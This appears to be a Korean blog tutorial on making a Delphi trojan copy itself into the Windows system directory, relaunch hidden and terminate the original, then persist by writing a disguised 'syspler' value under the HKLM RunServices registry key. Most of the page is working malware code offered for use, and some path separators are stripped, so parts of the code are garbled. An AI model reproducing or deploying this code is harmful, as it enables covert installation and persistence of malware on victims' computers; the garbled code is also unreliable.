Delphi 목마 자기 복제법 구현

1992 단어 Delphi목마
목마가 자기 복사를 실현하는 원리는 프로그램이 실행될 때 먼저 자신이 특정 디렉터리에 있는지 확인하고 그렇지 않으면 계속 실행하며 그렇지 않으면 특정 디렉터리에 복사한 다음에 새로운 프로그램을 실행하고 낡은 프로그램을 종료하는 것이다.
이 예는 델파이로 목마의 자기 복제를 실현하는 것이다.
먼저 Delphi를 열고 새 프로젝트를 만들고 창의 Create 이벤트에 다음 코드를 씁니다.

procedure TForm1.FormCreate(Sender: TObject);
var myname: string;
begin
myname := ExtractFilename(Application.Exename); // 
if application.Exename <> GetWindir + myname then // WindowsSystem ..
begin
copyfile(pchar(application.Exename), pchar(GetWindir + myname), False);{ WindowsSystem }
Winexec(pchar(GetWindir + myname), sw_hide);// WindowsSystem 
application.Terminate;// 
end;
end;

그 중에서 GetWinDir는 사용자 정의 함수이고 기능은 Windows 시스템의 경로를 찾아내는 것이다.

function GetWinDir: String;
var
Buf: array[0..MAX_PATH] of char;
begin
GetSystemDirectory(Buf, MAX_PATH);
Result := Buf;
if Result[Length(Result)]<>'' then Result := Result + '';
end; 

어떻게 하면 프로그램이 윈도우즈가 시작될 때 자동으로 시작될 수 있습니까?
 
프로그램이 Windows가 시작될 때마다 자동으로 실행될 수 있도록 다음과 같은 경로를 통해 실현할 수 있다.빙하는 등록표의 방식을 사용한다.
Registry 단원에 가입하여 위의 창Create 이벤트를 다시 작성하면 다음과 같은 절차가 진행됩니다.

procedure TForm1.FormCreate(Sender: TObject);
const K = 'SoftwareMicrosoftWindowsCurrentVersionRunServices';
var myname: string;
begin
myname := ExtractFilename(Application.Exename); // 
if application.Exename <> GetWindir + myname then // WindowsSystem ..
begin
copyfile(pchar(application.Exename), pchar(GetWindir + myname), False);{// Windows/System32 }
Winexec(pchar(GetWindir + myname), sw_hide);// WindowsSystem 
application.Terminate;// 
end;
with TRegistry.Create do
try
RootKey := HKEY_LOCAL_MACHINE;
OpenKey( K, TRUE );
WriteString( 'syspler', application.ExeName );
finally
free;
end;
end; 

좋은 웹페이지 즐겨찾기